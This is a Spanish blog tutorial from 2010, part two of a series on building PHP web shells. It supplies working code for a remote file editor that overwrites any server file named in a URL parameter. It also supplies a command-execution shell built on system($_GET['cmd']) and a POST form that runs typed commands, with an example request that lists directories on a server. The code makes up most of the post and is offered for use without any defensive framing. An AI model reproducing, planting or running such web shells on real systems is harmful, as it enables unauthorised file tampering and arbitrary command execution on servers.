Inicio >

Construcción de WebShells por TheX-C3LL[con su consentimiento] pt2 y final provisional

19. abril 2010

0x04 Editando Archivos


  En íntima relación con el listador que ya hicimos como ejercicio, vamos a crear hoy un script para editar el código fuente de los archivos que tengamos en el servidor (y sobre los cuales tengamos los permisos pertinentes).

En el script para editar, vamos a meter la ruta del archivo a editar a través de una variable tipo GET (la llamaremos edit, para no complicarnos la vida XDD). Despues volcaremos en un textarea el código fuente del archivo, y dentro del textarea será donde modifiquemos el source. Tras esto, cuando le demos a "guardar" mandará por POST el contenido y sobreescribirá el archivo con el nuevo contenido.

Según lo comentado, lo primero será poner una condición IF para ver si está "seteada" la variable $_GET['edit'], y de estarlo, sacamos la ruta del archivo.

Código:

<?php
if(isset($_GET['edit'])){
$active=explode('/',$_GET['edit']);
$active=array_reverse($active);
echo 'Editing: '.$active[0].'<p>';//Mostramos el nombre del archivo que estamos editando


Ahora iniciamos un formulario, en el cual editaremos el código fuente del archivo (para ello previamente debemos de mostrarlo).

Código:

echo '<form action="" method=POST><center>
      <input type=Submit name="editor" value="Save it!">';


Y ahora miramos si está "seteada" la variable POST, de estarlo abrimos el archivo en cuestión y lo sobreescribimos:

Código:

if(isset($_POST['editor'])){ //miramos si tiene contenido la variable y de tenerlo
  @$write=fopen($_GET['edit'],'w+');//abrimos el archivo que metimos por $_GET['edit] en modo w+
  $code=stripslashes($_POST['code']);//Filtramos el codigo, code será la variable del contenido del textarea
  @$ok=fwrite($write,$code);//Sobrescribimos


Una cosa muy útil (por si no os acordais de los permisos del archivo) puede ser implementar en vuestra shell al funcion de Hondamena, o bien comprobar si te deja guardar o no. Si te da error, es que no tienes permisos XD:

Código:

if(!$ok){
  echo '<br><font color=red>Error: You need more Perms</font>';
  }
  else{
  echo '<br><font color=green>DONE!</font>';
  }
  }
  echo '<br>';



Y ahora viene la parte del textarea

Código:

echo '<textarea cols="95" rows="30" name="code">';//Como dije, aqui la variable "code"
@$read=fopen($_GET['edit'],'r');//Abrimos en modo read para ver el source
@$read=fread($read,filesize($_GET['edit']));//Array con contenido
echo htmlentities($read);//Filtramos variable
echo '</textarea>';
echo '</form>';//cerramos form y textarea
exit()
?>


Ahora la cuestión es... todo esto es muy bonito... pero como metemos la ruta y el archivo en $_GET['edit']?. A través del listador Tongue. Tal y como hicisteis para diferenciar directorios de archivos (y como mace por ejemplo añadió una función para "navegar" a través de su shell por todos los directorios), teneis que mostrar un link tipo ?edit=$ruta/$archivo, en vez de mostrar el nombre del archivo únicamente.
  Podeis hacer algo tipo:

Código:

while ($archivo = $directorio->read())
{
  $extension=filetype($ruta.'/'.$archivo);
 if ($extension=="dir"){
echo "<a ";
echo "href=?path=$ruta/$archivo>$archivo</a>)";
}
else {
echo '<a href=?edit=$ruta/$archivo>$archivo</a><br>';


O tambien podeis hacer eso, pero mediante tablas, y que quede al lado de cada archivo un link que ponga href=?path=$ruta/$archivo> [Edit][/url]

 

0x05 Ejecutando comandos

Ahora es cuando hablamos realmente de una "shell". Este capítulo (corto por cierto) va enfocado a la ejecución de comandos en la shell del servidor. Un script muy sencillito sería

Código:

<?php ob_clean; system($_GET['cmd']); ?>


 Si subésemos eso a nuestro servidor con el nombre de shell.php, y le hacemos una petición GET al estilo de: www.ejemplo.es/shell.php?cmd=cd ../; ls -la  . Lo que pasaría es que subiría una carpeta más arriba, y mostraría el contenido de ésta incluyendo información como los permisos de cada archivo/carpeta. 

  Si queremos implementar esto en lo que actualmente podríamos considerar como "listador", podríamos hacer algo al estilo de:

Código:

<?php
if(isset($_GET['cmd'])){
echo '<form method=POST action="?cmd">
<input type=TEXT name=command value="'.$_POST['command'].'">
<input type=submit name=eje value="Execute!">';
echo '</form>';
  if($_POST['command']!="" && isset($_POST['eje'])){
  echo '<textarea cols="100" rows="30">';
  system($_POST['command']);
  echo '</textarea>';
  exit();
    }
exit();
}
?>


Lo que haríamos es crear un formulario, en el cual hay un input, que será donde escribamos nuestros comandos (recordad separar cada comando con ; ). Despues comprueba que si el texto introducido en input es distinto a un espacio, y al mismo tiempo está seteada la variable del "submit" ejecuta los comandos puestos en el input (a través de system()) y vuelca el resultado en un textarea.


Comentarios

Comentarios no permitidos